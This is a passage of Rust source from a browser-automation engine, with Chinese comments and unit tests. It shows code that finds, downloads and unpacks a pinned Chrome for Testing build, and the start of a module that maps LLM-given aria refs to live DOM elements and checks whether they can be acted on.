/// `exists` 注入文件存在判定(测试可注入假值);真实调用方传 `|p| p.is_file()`。
fn detect_system_browser_in(
os: &str,
env_get: impl Fn(&str) -> Option<String>,
exists: impl Fn(&Path) -> bool,
) -> Option<PathBuf> {
system_browser_candidates(os, env_get)
.into_iter()
.find(|p| exists(p))
}
/// 解析当前平台的 Chrome 可执行绝对路径。
///
/// 优先级(高→低):
/// 1. `NOMIFUN_CHROME_BINARY` env(绝对路径,存在即用);
/// 2. 打包资源目录 `bundled_dir/chrome-<platform>/...`(build 期固化);
/// 3. 数据目录 `<data_dir>/nomifun-browser/<version>/chrome-<platform>/...`(运行时已下载);
/// 4. **系统已装 Chrome/Edge**([`detect_system_browser_in`],Chromium 系,零下载/离线);
/// 5. 都没有 → 用钉死版本 + 代理感知 client 下载 CfT 到数据目录并解压,再返回。
///
/// 调用方(Task 7)负责提供 `data_dir`(应用数据目录)与 `bundled_dir`(Tauri
/// resource dir),本 crate 不直接依赖任何应用数据目录来源,保持解耦。
pub async fn resolve_chrome_path(
data_dir: &Path,
bundled_dir: Option<&Path>,
) -> Result<PathBuf, BrowserError> {
let platform = cft_platform_id(std::env::consts::OS, std::env::consts::ARCH).ok_or_else(|| {
BrowserError::Unsupported {
capability: "chrome-for-testing".into(),
hint: format!(
"no Chrome for Testing build for {}/{}",
std::env::consts::OS,
std::env::consts::ARCH
),
}
})?;
// 1-3:env / 打包 CfT / 已下载 CfT,存在即直接返回。
if let Some(p) = resolve_chrome_path_in(platform, |k| std::env::var(k).ok(), bundled_dir, data_dir) {
return Ok(p);
}
// 4:系统已装 Chrome/Edge(Chromium 系)。多数机器已装 Chrome、Win10/11 必装 Edge——
// 复用其二进制即可零下载、离线、绕过 CfT 下载被墙/无网失败。永远配专属 user-data-dir
// 起独立托管实例(launch.rs 红线:绝不碰用户 profile)。
if let Some(p) = detect_system_browser_in(
std::env::consts::OS,
|k| std::env::var(k).ok(),
|p| p.is_file(),
) {
return Ok(p);
}
// 5:下载兜底(系统无任何 Chromium 系浏览器、且未打包/未下载 CfT 时的最后手段)。
download_chrome(platform, data_dir).await?;
// 下载+解压后再走一次纯解析,确认可执行就位。
resolve_chrome_path_in(platform, |k| std::env::var(k).ok(), bundled_dir, data_dir).ok_or_else(|| {
BrowserError::Other(format!(
"chrome executable missing after download into {}",
data_dir.display()
))
})
}
/// 下载钉死版本 chrome 到 `<data_dir>/nomifun-browser/<version>/`,解压,
/// mac 上去 quarantine。代理感知(`nomifun_net::http_client`)、`.part`→rename。
async fn download_chrome(platform: &str, data_dir: &Path) -> Result<(), BrowserError> {
let other = |e: String| BrowserError::Other(e);
// 先取 known-good JSON,挑出钉死版本的下载 url。
let url = fetch_chrome_url(platform).await?;
let version_dir = data_dir.join(BROWSER_SUBDIR).join(PINNED_CHROME_VERSION);
std::fs::create_dir_all(&version_dir)
.map_err(|e| other(format!("mkdir {}: {e}", version_dir.display())))?;
// 下载 zip → .part → rename(部分文件绝不冒充完成)。
let zip_path = version_dir.join(format!("chrome-{platform}.zip"));
download_to(&url, &zip_path).await?;
// 解压到版本目录(CfT zip 顶层即 chrome-<platform>/)。
extract_zip_into(&zip_path, &version_dir).map_err(|e| other(format!("extract chrome zip: {e}")))?;
// 解压成功后删掉 zip,省空间;失败不致命。
let _ = std::fs::remove_file(&zip_path);
// mac:去 quarantine,免 Gatekeeper 首次执行拦截。仅 mac,cfg 隔离。
#[cfg(target_os = "macos")]
{
// TODO(verify-macos): xattr 去 quarantine 路径需实机核对,见
// docs/superpowers/specs/browser-use/PLATFORM-VERIFICATION.md
if let Some(sub) = chrome_exe_subpath(platform) {
// 对 .app bundle 根递归去属性即可。
let app = version_dir.join(sub);
// sub 形如 chrome-mac-arm64/...app/Contents/MacOS/exe;取到 .app 根。
let app_root = app
.ancestors()
.find(|p| p.extension().map(|e| e == "app").unwrap_or(false))
.map(Path::to_path_buf)
.unwrap_or(app);
strip_quarantine(&app_root);
}
}
Ok(())
}
/// 取 known-good JSON 并挑出钉死版本+平台的 chrome 下载 url。
async fn fetch_chrome_url(platform: &str) -> Result<String, BrowserError> {
let client = nomifun_net::http_client();
let json = client
.get(KNOWN_GOOD_URL)
.timeout(METADATA_TIMEOUT)
.send()
.await
.map_err(|e| BrowserError::Other(format!("GET {KNOWN_GOOD_URL}: {e}")))?
.error_for_status()
.map_err(|e| BrowserError::Other(format!("non-2xx from {KNOWN_GOOD_URL}: {e}")))?
.text()
.await
.map_err(|e| BrowserError::Other(format!("read body {KNOWN_GOOD_URL}: {e}")))?;
pick_chrome_url(&json, PINNED_CHROME_VERSION, platform).ok_or_else(|| {
BrowserError::Other(format!(
"no chrome download for version {PINNED_CHROME_VERSION} platform {platform} in known-good list"
))
})
}
/// 代理感知下载 `url` 到 `dest`,经 `.part` 旁车再 rename(同 provision::install::download)。
async fn download_to(url: &str, dest: &Path) -> Result<(), BrowserError> {
let other = |e: String| BrowserError::Other(e);
if let Some(parent) = dest.parent() {
std::fs::create_dir_all(parent).map_err(|e| other(format!("mkdir {}: {e}", parent.display())))?;
}
let client = nomifun_net::http_client();
let resp = client
.get(url)
.timeout(DOWNLOAD_TIMEOUT)
.send()
.await
.map_err(|e| other(format!("GET {url}: {e}")))?
.error_for_status()
.map_err(|e| other(format!("non-2xx from {url}: {e}")))?;
let bytes = resp.bytes().await.map_err(|e| other(format!("read body {url}: {e}")))?;
let part = dest.with_extension("part");
std::fs::write(&part, &bytes).map_err(|e| other(format!("write {}: {e}", part.display())))?;
std::fs::rename(&part, dest).map_err(|e| other(format!("rename into {}: {e}", dest.display())))?;
Ok(())
}
/// 解压 zip 到 `dest_dir`,保留 zip 内顶层目录(CfT 包顶层即 `chrome-<platform>/`)。
/// 复刻 `provision::install::extract_zip`:跳过 traversal-unsafe 名、unix 保留权限位。
fn extract_zip_into(archive: &Path, dest_dir: &Path) -> std::io::Result<()> {
std::fs::create_dir_all(dest_dir)?;
let f = std::fs::File::open(archive)?;
let mut zip = zip::ZipArchive::new(std::io::BufReader::new(f))
.map_err(|e| std::io::Error::other(format!("read zip: {e}")))?;
for i in 0..zip.len() {
let mut entry = zip
.by_index(i)
.map_err(|e| std::io::Error::other(format!("zip entry {i}: {e}")))?;
let Some(rel) = entry.enclosed_name() else {
// traversal-unsafe(含 .. / 绝对路径)→ 跳过。
continue;
};
let out = dest_dir.join(rel);
if entry.is_dir() {
std::fs::create_dir_all(&out)?;
continue;
}
if let Some(parent) = out.parent() {
std::fs::create_dir_all(parent)?;
}
let mut w = std::fs::File::create(&out)?;
std::io::copy(&mut entry, &mut w)?;
#[cfg(unix)]
{
// TODO(verify-linux): chrome 可执行位需实机核对(保留 zip 权限位),见
// docs/superpowers/specs/browser-use/PLATFORM-VERIFICATION.md
use std::os::unix::fs::PermissionsExt;
if let Some(mode) = entry.unix_mode() {
let _ = std::fs::set_permissions(&out, std::fs::Permissions::from_mode(mode));
}
}
}
Ok(())
}
/// 去 `com.apple.quarantine`,免 Gatekeeper 拦截。复刻 `provision::install::strip_quarantine`:
/// 仅 mac 实做(cfg 隔离),其它平台与缺 `xattr` 时为安全 no-op。无需管理员权限。
#[cfg(target_os = "macos")]
fn strip_quarantine(path: &Path) {
// -r 递归整 .app 树;-d 删单属性;缺属性返非零,按 benign 处理。
let status = no_window_command("/usr/bin/xattr")
.args(["-r", "-d", "com.apple.quarantine"])
.arg(path)
.status();
match status {
Ok(s) if s.success() => {
tracing::debug!(path = %path.display(), "stripped com.apple.quarantine");
}
Ok(_) => {
tracing::debug!(path = %path.display(), "xattr non-zero (likely no quarantine attr)");
}
Err(e) => {
tracing::warn!(error = %e, path = %path.display(), "xattr failed; Gatekeeper may prompt");
}
}
}
/// 构造永不闪控制台窗的 [`std::process::Command`](同 provision::install::no_window_command)。
/// 仅 mac quarantine 路径用到,故 cfg 到 macos 避免别处 dead_code。off-Windows no-op。
#[cfg(target_os = "macos")]
fn no_window_command<S: AsRef<std::ffi::OsStr>>(program: S) -> std::process::Command {
std::process::Command::new(program)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn platform_id_maps() {
assert_eq!(cft_platform_id("windows", "x86_64"), Some("win64"));
assert_eq!(cft_platform_id("macos", "aarch64"), Some("mac-arm64"));
assert_eq!(cft_platform_id("macos", "x86_64"), Some("mac-x64"));
assert_eq!(cft_platform_id("linux", "x86_64"), Some("linux64"));
assert_eq!(cft_platform_id("freebsd", "x86_64"), None);
}
#[test]
fn parse_download_url_from_known_good_json() {
let json = r#"{"versions":[{"version":"151.0.7895.0","downloads":{"chrome":[{"platform":"linux64","url":"https://x/linux64/chrome-linux64.zip"}]}}]}"#;
let url = pick_chrome_url(json, "151.0.7895.0", "linux64").unwrap();
assert!(url.ends_with("chrome-linux64.zip"));
}
#[test]
fn missing_version_or_platform_returns_none() {
let json = r#"{"versions":[{"version":"1.0","downloads":{"chrome":[{"platform":"linux64","url":"u"}]}}]}"#;
assert!(pick_chrome_url(json, "9.9", "linux64").is_none());
assert!(pick_chrome_url(json, "1.0", "win64").is_none());
assert!(pick_chrome_url("not json", "1.0", "linux64").is_none());
}
// --- Task 6: 优先级解析(纯逻辑,Windows 可跑)-----------------------------
/// 在解压目录布局里造一个假 exe 文件(含中间目录),用 win64 子路径。
fn touch(root: &Path, sub: &str) -> PathBuf {
let p = root.join(sub);
std::fs::create_dir_all(p.parent().unwrap()).unwrap();
std::fs::write(&p, b"fake-chrome").unwrap();
p
}
#[test]
fn env_path_wins_when_present() {
let tmp = tempfile::TempDir::new().unwrap();
let env_exe = tmp.path().join("custom").join("chrome.exe");
std::fs::create_dir_all(env_exe.parent().unwrap()).unwrap();
std::fs::write(&env_exe, b"x").unwrap();
// 即使打包目录与数据目录都有 exe,env 仍应最高优先。
let bundled = tmp.path().join("bundled");
touch(&bundled, "chrome-win64/chrome.exe");
let data = tmp.path().join("data");
touch(&data.join(BROWSER_SUBDIR).join(PINNED_CHROME_VERSION), "chrome-win64/chrome.exe");
let env_str = env_exe.to_string_lossy().to_string();
let got = resolve_chrome_path_in(
"win64",
|k| (k == CHROME_BINARY_ENV).then(|| env_str.clone()),
Some(&bundled),
&data,
);
assert_eq!(got, Some(env_exe));
}
#[test]
fn env_path_ignored_when_missing_file() {
let tmp = tempfile::TempDir::new().unwrap();
let bundled = tmp.path().join("bundled");
let bundled_exe = touch(&bundled, "chrome-win64/chrome.exe");
let data = tmp.path().join("data");
// env 指向不存在的文件 → 跳过,落到打包目录。
let got = resolve_chrome_path_in(
"win64",
|_| Some("Z:/nope/chrome.exe".to_string()),
Some(&bundled),
&data,
);
assert_eq!(got, Some(bundled_exe));
}
#[test]
fn bundled_dir_used_when_no_env() {
let tmp = tempfile::TempDir::new().unwrap();
let bundled = tmp.path().join("bundled");
let bundled_exe = touch(&bundled, "chrome-win64/chrome.exe");
// 数据目录也有,但打包目录优先。
let data = tmp.path().join("data");
touch(&data.join(BROWSER_SUBDIR).join(PINNED_CHROME_VERSION), "chrome-win64/chrome.exe");
let got = resolve_chrome_path_in("win64", |_| None, Some(&bundled), &data);
assert_eq!(got, Some(bundled_exe));
}
#[test]
fn data_dir_used_when_no_env_no_bundled() {
let tmp = tempfile::TempDir::new().unwrap();
let data = tmp.path().join("data");
let data_exe = touch(
&data.join(BROWSER_SUBDIR).join(PINNED_CHROME_VERSION),
"chrome-win64/chrome.exe",
);
// 无 env、无打包目录 → 数据目录命中。
let got = resolve_chrome_path_in("win64", |_| None, None, &data);
assert_eq!(got, Some(data_exe.clone()));
// 打包目录传了但里面没有 → 仍落到数据目录。
let empty_bundled = tmp.path().join("empty");
std::fs::create_dir_all(&empty_bundled).unwrap();
let got2 = resolve_chrome_path_in("win64", |_| None, Some(&empty_bundled), &data);
assert_eq!(got2, Some(data_exe));
}
#[test]
fn none_when_nothing_present_triggers_download() {
let tmp = tempfile::TempDir::new().unwrap();
let data = tmp.path().join("data");
std::fs::create_dir_all(&data).unwrap();
// 全空:env 无、打包目录无、数据目录无 → None(交给下载兜底)。
assert!(resolve_chrome_path_in("win64", |_| None, None, &data).is_none());
}
#[test]
fn exe_subpath_per_platform_correct() {
assert_eq!(chrome_exe_subpath("win64"), Some("chrome-win64/chrome.exe"));
assert_eq!(
chrome_exe_subpath("mac-arm64"),
Some("chrome-mac-arm64/Google Chrome for Testing.app/Contents/MacOS/Google Chrome for Testing")
);
assert_eq!(
chrome_exe_subpath("mac-x64"),
Some("chrome-mac-x64/Google Chrome for Testing.app/Contents/MacOS/Google Chrome for Testing")
);
assert_eq!(chrome_exe_subpath("linux64"), Some("chrome-linux64/chrome"));
assert_eq!(chrome_exe_subpath("freebsd"), None);
}
#[test]
fn unknown_platform_resolves_to_none() {
let tmp = tempfile::TempDir::new().unwrap();
// 平台未知 → chrome_exe_subpath 返 None → 整体 None(除非 env 命中,这里无 env)。
assert!(resolve_chrome_path_in("nope", |_| None, None, tmp.path()).is_none());
}
// --- 系统浏览器探测(纯逻辑,注入 env + exists,Windows 可跑)------------------
#[test]
fn windows_candidates_chrome_before_edge_and_expand_env() {
let env = |k: &str| match k {
"ProgramFiles" => Some(r"C:\PF".to_string()),
"ProgramFiles(x86)" => Some(r"C:\PF86".to_string()),
"LocalAppData" => Some(r"C:\Users\me\AppData\Local".to_string()),
_ => None,
};
// 归一化分隔符:`PathBuf::join` 在非 Windows 宿主用 '/' 拼接,与全反斜杠字面量不一致,
// 故比较前统一把 '\\' 换成 '/'(纯逻辑判定在任意宿主可跑,对齐 display 同款跨平台单测设计)。
let strs: Vec<String> = system_browser_candidates("windows", env)
.iter()
.map(|p| p.to_string_lossy().replace('\\', "/"))
.collect();
// 所有 Chrome 候选必须排在第一个 Edge 候选之前(Chrome 优先于 Edge)。
let first_edge = strs.iter().position(|s| s.contains("msedge.exe")).unwrap();
let last_chrome = strs.iter().rposition(|s| s.ends_with("chrome.exe")).unwrap();
assert!(last_chrome < first_edge, "Chrome must precede Edge: {strs:?}");
// env 展开生效(全局 Chrome / x86 Edge / 每用户 Chrome)。
assert!(strs.iter().any(|s| s == "C:/PF/Google/Chrome/Application/chrome.exe"));
assert!(strs.iter().any(|s| s == "C:/PF86/Microsoft/Edge/Application/msedge.exe"));
assert!(strs
.iter()
.any(|s| s == "C:/Users/me/AppData/Local/Google/Chrome/Application/chrome.exe"));
}
#[test]
fn windows_candidates_fall_back_to_conventional_paths_without_env() {
// 归一化分隔符(见上一测试注释):非 Windows 宿主 join 用 '/'。
let strs: Vec<String> = system_browser_candidates("windows", |_| None)
.iter()
.map(|p| p.to_string_lossy().replace('\\', "/"))
.collect();
assert!(strs
.iter()
.any(|s| s == "C:/Program Files/Google/Chrome/Application/chrome.exe"));
assert!(strs
.iter()
.any(|s| s == "C:/Program Files (x86)/Microsoft/Edge/Application/msedge.exe"));
// 无 LocalAppData → 不产每用户候选(None 分支不 push)。
assert!(!strs.iter().any(|s| s.contains("AppData/Local")));
}
#[test]
fn detect_picks_first_existing_chrome_over_edge() {
// 期望值从候选构造里取,而非硬编码字面量——非 Windows 宿主 `PathBuf::join` 用 '/'
// 拼接,与全反斜杠字面量按 PathBuf 比较不等。同构造取值则在任意宿主可跑。
let cands = system_browser_candidates("windows", |_| None);
let conv_chrome = cands
.iter()
.find(|p| p.to_string_lossy().ends_with("chrome.exe"))
.cloned()
.expect("a chrome candidate");
let conv_edge = cands
.iter()
.find(|p| p.to_string_lossy().contains("msedge.exe"))
.cloned()
.expect("an edge candidate");
// 仅 Edge 存在 → 选 Edge。
let edge_for_closure = conv_edge.clone();
let got = detect_system_browser_in("windows", |_| None, move |p| *p == edge_for_closure);
assert_eq!(got, Some(conv_edge));
// Chrome + Edge 都存在 → 选 Chrome(优先级:首个候选即首个 chrome)。
let got2 = detect_system_browser_in("windows", |_| None, |_| true);
assert_eq!(got2, Some(conv_chrome));
// 都不存在 → None(交给下载兜底)。
let got3 = detect_system_browser_in("windows", |_| None, |_| false);
assert!(got3.is_none());
}
#[test]
fn detect_unknown_os_yields_none() {
assert!(detect_system_browser_in("freebsd", |_| None, |_| true).is_none());
}
/// 本机集成(需已装 Chrome/Edge):验证**无 env 时**真实文件系统能探到系统浏览器。
/// 手动跑 `cargo nextest run -p nomi-browser-engine acquire::detects_real -- --ignored`。
#[ignore = "需本机已装 Chrome/Edge"]
#[test]
fn detects_real_system_browser_on_this_machine() {
let got = detect_system_browser_in(
std::env::consts::OS,
|k| std::env::var(k).ok(),
|p| p.is_file(),
);
assert!(got.is_some(), "no system Chrome/Edge found on this machine");
assert!(got.unwrap().is_file());
}
/// 联网集成冒烟(~150MB 下载):手动跑
/// `cargo nextest run -p nomi-browser-engine acquire:: -- --ignored`。
/// 直接验证**下载兜底**(绕过系统探测,否则装了 Chrome 的机器会短路到系统浏览器,
/// 测不到下载路径)能下到并解压出可执行 chrome。
#[ignore = "联网,下 ~150MB;手动跑"]
#[tokio::test]
async fn download_smoke() {
let tmp = tempfile::TempDir::new().unwrap();
let platform =
cft_platform_id(std::env::consts::OS, std::env::consts::ARCH).expect("supported platform");
download_chrome(platform, tmp.path()).await.expect("download+extract chrome");
let path = resolve_chrome_path_in(platform, |_| None, None, tmp.path())
.expect("resolved chrome after download");
assert!(path.is_file(), "resolved chrome must exist at {}", path.display());
}
}
@@ -0,0 +1,919 @@
//! **act 反查链:`f<seq>e<n>` ref → DOM element objectId**(P2 命脉,DESIGN §7 裁决①)。
//!
//! observe(P1)跑 `incrementalAriaSnapshot` 时,注入侧把每个被分配 ref 的元素缓存进当帧
//! utility world 的 `_lastAriaSnapshotForQuery.elements: Map<ref, Element>`(injectedScript.ts:321),
//! 并给元素打 `_ariaRef = {role, name, ref}` expando(ariaSnapshot.ts:214)。act 要操作 LLM 给的
//! ref,必须把它反解回**当前活的** DOM 元素句柄(objectId)。
//!
//! ## 反查三层(陈旧检测分层;廉价 → 昂贵)
//! 1. **层①(廉价,纯 Rust,不进浏览器)**:[`crate::aria_ref::RefTable::resolve`]。LLM 给的 ref
//! 不在**当前代际**表里(旧代际遗留 / 拼错)→ `None` → 调用方报 [`BrowserError::NodeStale`]。
//! 本模块只在层① 通过(拿到 [`RefRecord`])后才下钻。
//! 2. **层②(中等,进浏览器一次 call)**:在元素所属帧的 utility world,用注入侧
//! `parseSelector("aria-ref="+ref)` + `querySelector(parsed, document, false)` 跑 vendored
//! `aria-ref` selector engine(injectedScript.ts:709-715)。该 engine 仅当
//! `elements.get(ref)?.isConnected` 才返回元素,否则空。空 = 元素已从活 DOM detach(代际内漂移)
//! → [`BrowserError::NotConnected`]。
//! 3. **层③(精确,读元素 expando)**:在层② 拿到的元素 objectId 上读 `_ariaRef.{role,name}`,与
//! [`RefRecord`] 的 role/name 二次比对。**role 不符** → [`BrowserError::NodeStale`](防
//! backendNodeId 被浏览器复用后 ref 映射到一个**不同角色**的新元素,静默点错)。name 宽松(动态
//! 文案常变,仅诊断记录,不据此判 stale —— P2 契约:「至少做 role 比对,name 可宽松」)。
//!
//! ## objectGroup 生命周期
//! 反查时给 `Runtime.callFunctionOn` 传 `objectGroup = "act-<seq>"`,返回的元素句柄归入该组。
//! 一次动作结束(成功/失败均然)调 [`crate::injected::InjectionManager::release_object_group`]
//! 一次释放该组全部句柄,防 CDP 端 RemoteObject 泄漏。
//!
//! 本模块**只**做 ref→objectId 反查 + objectGroup + role 校验;五检查 / hit-target / 输入 / act
//! 动作 / facade 是后续任务,不在此处。
use chromiumoxide::cdp::js_protocol::runtime::CallArgument;
use serde_json::Value;
use crate::aria_ref::RefRecord;
use crate::backend::cdp::{map_inject_err, CdpBackend};
use crate::engine::BrowserError;
use crate::injected::{InjectError, InjectionManager};
use crate::input::Point;
/// 反查到的一个活元素句柄:utility world 里的 `objectId` + 它归属的 `objectGroup`。
/// 动作结束后用 `group` 调 [`InjectionManager::release_object_group`] 整组释放。
#[derive(Clone, Debug, PartialEq, Eq)]
pub struct ObjectHandle {
/// utility world 里的元素 RemoteObject id(喂后续五检查 / hit-target / 输入路径)。
pub object_id: String,
/// 该句柄归属的 objectGroup 名(`act-<seq>`);动作收尾 releaseObjectGroup 用。
pub group: String,
}
/// **actionability 五检查中 visible/stable/enabled/editable 四检查的三态结果**(DESIGN §11,
/// 设计裁决②)。点击/输入前由 vendored PW 的 `checkElementStates`(injectedScript.ts:640)**批量**
/// 判定,本枚举是 Rust 侧对其返回值(`undefined` | `{missingState}` | `'error:notconnected'`)的
/// 三态翻译。第⑤检查 receivesEvents(hit-target)不在 `checkElementStates`,由 B4 承担。
///
/// **谁消费**:B6 重试编排——`Pass` 放行执行动作;`Missing(state)` 是**可重试**的瞬态缺态
/// (元素当前不可见/未稳定/禁用/暂只读,等一拍可能就绪);`NotConnected` 是元素已从活 DOM
/// detach(漂移),调用方报 [`BrowserError::NotConnected`]。
///
/// **不含 editable 的不可编辑特例**:元素**类型根本不支持编辑**(非 input/textarea/select/
/// contenteditable 且无允许 aria-readonly 的 role)→ 注入侧 `createStacklessError` 经
/// exceptionDetails 抛 → Rust 收 [`InjectError::JsException`] → [`check_states`] 直接返
/// `Err(BrowserError::Blocked)`(NonRecoverable,**禁重试**),**不**走本枚举。区别于
/// **暂时 readonly**(`received:'readOnly'`)—— 那是正常返回的 `Missing("editable")`(可重试)。
#[derive(Clone, Debug, PartialEq, Eq)]
pub enum CheckResult {
/// 全部待检状态都满足(`checkElementStates` 返 `undefined`/null)。放行执行动作。
Pass,
/// 某个状态当前不满足(`{missingState:<state>}`)。**可重试**的瞬态缺态(B6 等一拍重判)。
Missing(String),
/// 元素已从活 DOM detach(`'error:notconnected'`)。漂移,调用方报 NotConnected。
NotConnected,
}
/// **[纯逻辑] 解析 `checkElementStates` 的返回 RemoteObject `value`** 成 [`CheckResult`]。
///
/// `checkElementStates` 是 async 返 `'error:notconnected' | { missingState } | undefined`;经
/// `callFunctionOn(await_promise=true, return_by_value=true)` 回来后,`result.value` 就是该 promise
/// 的 resolved 值(`undefined` 在 by-value 下表现为**缺字段**或 JSON `null`)。本函数喂入那个
/// `value`(`None` = 缺 `value` 字段 = JS `undefined`):
/// - `None` / `Value::Null` → [`CheckResult::Pass`](全过);
/// - `Value::String("error:notconnected")` → [`CheckResult::NotConnected`];
/// - `{ "missingState": "<state>" }` → [`CheckResult::Missing("<state>")`];
/// - 任何其它形状(不该发生:注入契约只产上述三态)→ 保守当 `NotConnected`(宁可让上层重新
/// observe,也不静默放行一个形状陌生的结果去点击)。
///
/// 抽成纯函数(不进浏览器)以便 `#[cfg(test)]` 喂构造的 `serde_json::Value` 单测三态解析。
pub fn parse_check_result(value: Option<&Value>) -> CheckResult {
match value {
// undefined(by-value 下缺字段)或显式 null → 全过。
None | Some(Value::Null) => CheckResult::Pass,
Some(Value::String(s)) if s == "error:notconnected" => CheckResult::NotConnected,
Some(Value::Object(map)) => match map.get("missingState").and_then(|v| v.as_str()) {
Some(state) => CheckResult::Missing(state.to_string()),
// 对象但无 missingState:形状陌生,保守判 NotConnected(不放行点击)。
None => CheckResult::NotConnected,
},
// 其它标量(数字/bool/非 notconnected 字符串/数组):注入契约不产,保守 NotConnected。
Some(_) => CheckResult::NotConnected,
}
}
/// **[纯逻辑] editable 异常分类**:判某条注入侧异常 message 是否是「元素类型根本不支持编辑」
/// (`elementState('editable')` 里 `getReadonly` 返 `'error'` → `createStacklessError`,
/// injectedScript.ts:744-745)。返回 `true` = NonRecoverable([`check_states`] 据此返 `Blocked` 禁
/// 重试);`false` = 其它注入异常(按普通 JsException → `Other` 处理,调用方可按需重试/上报)。
///
/// 判据:message 含 chromium 版 `createStacklessError('Element is not an <input>, …')` 的稳定特征
/// 子串。注入侧该文案是 vendored 常量(injectedScript.ts:745),匹配其稳定片段即可(含 `Error: `
/// 前缀的 `exception.description` 也命中,因子串匹配不锚首)。同理覆盖 checked/indeterminate 等
/// 「类型不支持该状态」异常(`Not a checkbox or radio button`),它们同样是 NonRecoverable 的
/// 「元素类型与待检状态不匹配」——但本任务只用到 editable,checked 类留作前瞻覆盖。
pub fn is_non_editable_error(message: &str) -> bool {
message.contains("Element is not an <input>")
|| message.contains("does not have a role allowing [aria-readonly]")
|| message.contains("Not a checkbox or radio button")
}
/// **double hit-target 三步舞**(DESIGN §11,设计裁决③)的 setup 句柄:vendored PW
/// `setupHitTargetInterceptor` 在元素上**算点时**装的 capture-phase 拦截器对象的 RemoteObject id
/// (+ 它归属的 objectGroup)。这是 actionability 第⑤检查 receivesEvents(防误点遮挡元素)的
/// 承担者。
///
/// **为何全程 LIVE**:setup 经 `callFunctionOn(return_by_value=false)` 拿回**句柄**(不取值),让
/// interceptor 对象(含其 `stop()` 闭包,闭包捕获了 `result`/`listener`)在 CDP 端**存活**到点击
/// 之后;点击在 setup 与 [`CdpBackend::hit_stop`] 之间真分发,stop 时读「算点与事件分发间布局是否
/// 漂移 / 是否被遮挡」。interceptor 的 objectId 与传入动作同一 objectGroup(`act-<seq>`),随该组
/// 在动作收尾时一次 releaseObjectGroup 释放(生命周期收口,见 [`CdpBackend::release_act_group`])。
#[derive(Clone, Debug, PartialEq, Eq)]
pub struct HitInterceptor {
/// setup 返回的 interceptor 对象的 RemoteObject id(by-handle 保活,喂 [`CdpBackend::hit_stop`])。
pub object_id: String,
/// 该句柄归属的 objectGroup(与传入元素同组 `act-<seq>`);动作收尾整组释放。
pub group: String,
}
/// **[纯逻辑] setup 三态判定结果**:[`setup_result_outcome`] 把 `setupHitTargetInterceptor` 的
/// `callFunctionOn(return_by_value=false)` 回包 RemoteObject 翻成的三态(避免把 CDP 形状判定混进
/// async I/O,便于 `#[cfg(test)]` 喂构造的 `serde_json::Value` 单测)。
///
/// `setupHitTargetInterceptor`(injectedScript.ts:1067)返三种 JS 形态:
/// - **interceptor 对象**(`{ stop }`)—— 正常装好,by-handle 下回包有 `objectId`(subtype 非 null);
/// - **`'error:notconnected'`** —— 元素已 detach,by-value 字符串(无 objectId,`value` 是该字串);
/// - **bare `string`(hitTargetDescription)** —— `hitPoint` 给定时 setup 内的 `expectHitTarget` 预检
/// 失败(已被遮挡),短路返描述字符串(无 objectId,`value` 是该描述)。
#[derive(Clone, Debug, PartialEq, Eq)]
pub enum SetupOutcome {
/// interceptor 对象装好;带回它的 objectId(喂 [`CdpBackend::hit_stop`])。
Handle(String),
/// 元素 detach(`'error:notconnected'`)。
NotConnected,
/// 预检短路:已被遮挡,带回 hitTargetDescription(→ `Blocked{reason}`,无需走点击)。
Blocked(String),
}
/// **[纯逻辑] 解析 `setupHitTargetInterceptor` 的 `callFunctionOn(by_handle)` 回包**成 [`SetupOutcome`]。
///
/// 喂入整个 `result` 的 RemoteObject JSON(`call_on_injected_handle` 返回值)。判据:
/// - 有 `objectId`(subtype 非 null)→ interceptor 对象 → [`SetupOutcome::Handle`];
/// - 无 objectId 但 `value == "error:notconnected"` → [`SetupOutcome::NotConnected`];
/// - 无 objectId 且 `value` 是其它字符串 → 短路 hitTargetDescription → [`SetupOutcome::Blocked`];
/// - 无 objectId 且 `value` 非字符串(不该发生:注入契约只产上述三态)→ 保守
/// [`SetupOutcome::NotConnected`](宁可让上层重定位,也不静默放行一个形状陌生的结果)。
pub fn setup_result_outcome(result: &Value) -> SetupOutcome {
// 有 objectId 即 interceptor 对象句柄(by-handle 保活)。
if let Some(id) = result.get("objectId").and_then(|v| v.as_str()) {
return SetupOutcome::Handle(id.to_string());
}
// 无 objectId:是字符串返回('error:notconnected' 或 hitTargetDescription)。
match result.get("value").and_then(|v| v.as_str()) {
Some("error:notconnected") => SetupOutcome::NotConnected,
Some(desc) => SetupOutcome::Blocked(desc.to_string()),
// 形状陌生(无 objectId 也无字符串 value):保守判 NotConnected。
None => SetupOutcome::NotConnected,
}
}
/// **[纯逻辑] 解析 `stop()` / `expectHitTarget()` 的 by-value 返回值**成 hit-target 判定。
///
/// 二者 JS 返回同形(DESIGN §11):`'done'`(命中目标或其后代,放行)| `{ hitTargetDescription }`
/// (命中了别的元素 = 布局漂移误点 / 遮挡,拦下)。喂入 `result.value`(`call_on_element`/
/// `call_on_injected_handle` 的 by-value 回包 `.value`;`None` = 缺 `value` 字段):
/// - `"done"` → `Ok(())`(放行);
/// - `{ "hitTargetDescription": "<desc>" }` → `Err(Blocked{reason:<desc>})`;
/// - 任何其它形状(不该发生)→ 保守 `Err(Blocked)`(不静默放行一个形状陌生的结果去点击)。
///
/// 抽成纯函数(不进浏览器)以便 `#[cfg(test)]` 喂构造的 `serde_json::Value` 单测两态解析。
pub fn parse_hit_target_value(value: Option<&Value>) -> Result<(), BrowserError> {
match value {
Some(Value::String(s)) if s == "done" => Ok(()),
Some(Value::Object(map)) => match map.get("hitTargetDescription").and_then(|v| v.as_str()) {
Some(desc) => Err(BrowserError::Blocked {
reason: desc.to_string(),
}),
// 对象但无 hitTargetDescription:形状陌生,保守 Blocked(不放行点击)。
None => Err(BrowserError::Blocked {
reason: format!("unexpected hit-target result shape: {value:?}"),
}),
},
// 其它(None / 非 'done' 字符串 / 标量):注入契约不产,保守 Blocked。
other => Err(BrowserError::Blocked {
reason: format!("unexpected hit-target result shape: {other:?}"),
}),
}
}
/// 拼 vendored `aria-ref` selector engine 的选择器字符串:`"aria-ref="+full_ref`。
/// `full_ref` 是含帧前缀的完整 ref(如 `f3e7`)—— injected 的
/// `_lastAriaSnapshotForQuery.elements` 正是以**完整 ref**(`refPrefix + 'e' + n`)为键
/// (ariaSnapshot.ts:137 `snapshot.elements.set(childAriaNode.ref, element)`),故必须传完整 ref,
/// 不能只传 frame-local 的 `e<n>`。
pub fn aria_ref_selector(full_ref: &str) -> String {
format!("aria-ref={full_ref}")
}
/// objectGroup 名:一次动作的全部元素句柄归入 `act-<seq>`。`seq` 由动作分配(act 自增计数)。
pub fn act_object_group(seq: u64) -> String {
